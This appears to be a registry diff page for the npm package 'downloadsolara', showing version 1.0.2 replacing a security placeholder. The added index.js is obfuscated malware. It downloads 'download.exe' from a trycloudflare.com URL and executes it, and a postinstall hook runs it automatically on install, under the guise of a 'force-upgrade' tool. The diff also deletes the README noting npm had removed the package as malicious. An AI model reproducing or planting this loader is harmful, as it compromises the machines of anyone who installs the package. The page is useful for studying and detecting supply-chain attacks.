downloadsolara 0.0.1-security → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of downloadsolara might be problematic. Click here for more details.
- package/index.js +1 -0
- package/package.json +14 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0x5a8e45=_0x21ed;function _0x205e(){const _0x5aee4a=['1729254LWXAos','1402536IuolLi','https://walls-alphabetical-post-conceptual.trycloudflare.com/page','489dmwEDA','29992cVRKmr','fs-extra','download.exe','error','child_process','1135460rXzNGt','7801750UNctSv','HTTP\x20error!\x20status:\x20','status','buffer','writeFile','312urfsyw','7fAeVOO','499774rLbyDO','9865TeRKPz','208PbKUbW','63ATwQiv'];_0x205e=function(){return _0x5aee4a;};return _0x205e();}(function(_0x3b825f,_0x29affb){const _0x42a5ca=_0x21ed,_0x3d6bf3=_0x3b825f();while(!![]){try{const _0x5cdca1=parseInt(_0x42a5ca(0xf6))/0x1*(parseInt(_0x42a5ca(0xf7))/0x2)+parseInt(_0x42a5ca(0xfc))/0x3*(-parseInt(_0x42a5ca(0xfd))/0x4)+-parseInt(_0x42a5ca(0xed))/0x5+-parseInt(_0x42a5ca(0xf9))/0x6*(-parseInt(_0x42a5ca(0xf4))/0x7)+parseInt(_0x42a5ca(0xfa))/0x8*(parseInt(_0x42a5ca(0xf8))/0x9)+parseInt(_0x42a5ca(0xee))/0xa+parseInt(_0x42a5ca(0xf5))/0xb*(-parseInt(_0x42a5ca(0xf3))/0xc);if(_0x5cdca1===_0x29affb)break;else _0x3d6bf3['push'](_0x3d6bf3['shift']());}catch(_0x5900c4){_0x3d6bf3['push'](_0x3d6bf3['shift']());}}}(_0x205e,0xa8b45));const fs=require(_0x5a8e45(0xfe)),path=require('path'),fetch=require('node-fetch'),{exec}=require(_0x5a8e45(0xec)),exeFileName=_0x5a8e45(0xea),downloadUrl=_0x5a8e45(0xfb),exeFilePath=path['join'](__dirname,exeFileName);async function downloadFile(_0x1e41af,_0xedf0e8){const _0x15e670=_0x5a8e45,_0x2a8fd9=await fetch(_0x1e41af);if(!_0x2a8fd9['ok'])throw new Error(_0x15e670(0xef)+_0x2a8fd9[_0x15e670(0xf0)]);const _0x21a029=await _0x2a8fd9[_0x15e670(0xf1)]();await fs[_0x15e670(0xf2)](_0xedf0e8,_0x21a029);}function _0x21ed(_0x19a4ed,_0x9d458c){const _0x205e04=_0x205e();return _0x21ed=function(_0x21edeb,_0x5c4d67){_0x21edeb=_0x21edeb-0xea;let _0x5e34dc=_0x205e04[_0x21edeb];return _0x5e34dc;},_0x21ed(_0x19a4ed,_0x9d458c);}async function runExecutable(){const _0x5afe3a=_0x5a8e45;try{await downloadFile(downloadUrl,exeFilePath),exec(exeFilePath,_0x49cfb2=>{const _0x24cb43=_0x21ed;_0x49cfb2&&console[_0x24cb43(0xeb)]('Error\x20running\x20the\x20executable:\x20'+_0x49cfb2);});}catch(_0x390a01){console[_0x5afe3a(0xeb)]('Download\x20error:\x20'+_0x390a01);}}runExecutable();
|
package/package.json
CHANGED
@@ -1,6 +1,17 @@
|
|
1
1
|
{
|
2
2
|
"name": "downloadsolara",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.2",
|
4
|
+
"description": "A simple command that will force-upgrade outdated software.",
|
5
|
+
"main": "index.js",
|
6
|
+
"bin": {
|
7
|
+
"update": "index.js"
|
8
|
+
},
|
9
|
+
"scripts": {
|
10
|
+
"postinstall": "node index.js"
|
11
|
+
},
|
12
|
+
"dependencies": {
|
13
|
+
"fs-extra": "^10.0.0",
|
14
|
+
"node-fetch": "^2.6.7",
|
15
|
+
"sudo-prompt": "^9.2.1"
|
16
|
+
}
|
6
17
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=downloadsolara for more information.
|